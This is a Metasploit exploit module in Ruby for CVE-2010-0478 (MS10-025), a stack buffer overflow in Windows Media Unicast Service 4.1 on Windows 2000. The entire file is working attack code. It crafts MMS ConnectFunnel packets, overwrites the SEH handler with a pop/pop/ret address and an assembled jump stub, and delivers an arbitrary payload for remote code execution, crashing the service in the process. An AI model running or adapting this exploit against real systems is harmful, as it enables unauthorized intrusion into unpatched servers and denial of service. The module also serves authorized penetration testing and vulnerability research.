##
# $Id: ms10_025_wmss_connect_funnel.rb 9101 2010-04-17 11:22:37Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Windows Media 
				Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
				crafted FunnelConnect request, an attacker can execute arbitrary code
				under the "NetShowServices" user account. Windows Media Services 4.1 ships
				with Windows 2000 Server, but is not installed by default.

				NOTE: This service does NOT restart automatically. Successful, as well as 
				unsuccessful exploitation attempts will kill the service which prevents
				additional attempts.
			},
			'Author'         => 'jduck',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9101 $',
			'References'     =>
				[
					[ 'CVE', '2010-0478' ],
					[ 'OSVDB', '63726' ],
					[ 'MSB', 'MS10-025' ],
					[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English',
						{
							# SEH handler offset is 840
							# Stack return is at 652
							'Offset' => 840,
							'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
						} 
					], 
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 13 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(1755)
			], self.class)
	end

	def exploit
		@pkts = 0
		cmd_buf = ''

		# LinkViewerToMacConnect
		subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
		#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
		#subscriber = "Spooooon!"
		subscriber << "\x00"
		subscriber = Rex::Text.to_unicode(subscriber)
		cmd_buf << make_command(0x30001, subscriber)

		# LinkViewerToMacConnectFunnel
		#name = Rex::Text.pattern_create(512)
		name = ''
		name << "\\\\"
		name << rand_text((target['Offset'] + 4 + 5) / 2)
		name << "\\"
		name << "\x00"

		# Convert it to Unicode..
		name = Rex::Text.to_unicode(name)
		
		# Insert the return address..
		name[4,payload.encoded.length] = payload.encoded

		# Build the SEH frame that leads to the payload...
		seh = generate_seh_record(target.ret)
		asm = "add edi, 0x04\njmp edi"
		seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
		name[target['Offset'],seh.length] = seh

		# Add it to the command buffer..
		cmd_buf << make_command(0x30002, name)

		# Build the TcpMessageHeader ..
		pkt = make_tcpmsghdr(cmd_buf)

		print_status("Sending crafy commands (#{pkt.length} bytes) ...")
		# Handle the transacation..
		connect
		sock.put(pkt)

		handler
		disconnect
	end


	#
	# Create a TcpMessageHeader from the supplied data
	#
	def make_tcpmsghdr(data)
		len = data.length
		# The server doesn't like packets that are bigger...
		raise RuntimeError, 'Length too big' if (len > 0x1000)
		len /= 8
		
		# Pack the pieces in ...
		pkt = [
			1,0,0,0,           # rep, ver, verMinor, pad
			0xb00bface,        # session id (nice)
			data.length + 16,  # msg len
			0x20534d4d,        # seal ("MMS ")
			len + 2,           # chunkCount
			@pkts, 0,          # seq, MBZ
			rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
		].pack('CCCCVVVVvvVV')

		# Add the data
		pkt << data

		# Pad it to 8 bytes...
		left = data.length % 8
		pkt << ("\x00" * (8 - left)) if (left > 0)

		pkt
	end


	#
	# Create a command packet
	#
	def make_command(msg_id, extra)
		# Two opcodes, get handled differently..
		case msg_id
		when 0x30001
			data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')

		when 0x30002
			data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')

		end

		# Put some data on...
		data << extra

		# Pad it to 8 bytes...
		left = data.length % 8
		data << ("\x00" * (8 - left)) if (left > 0)

		# Combine the pieces..
		pkt = [
			(data.length / 8) + 1,  # chunkLen
			msg_id                  # msg ID
		].pack('VV')
		pkt << data

		pkt
	end

end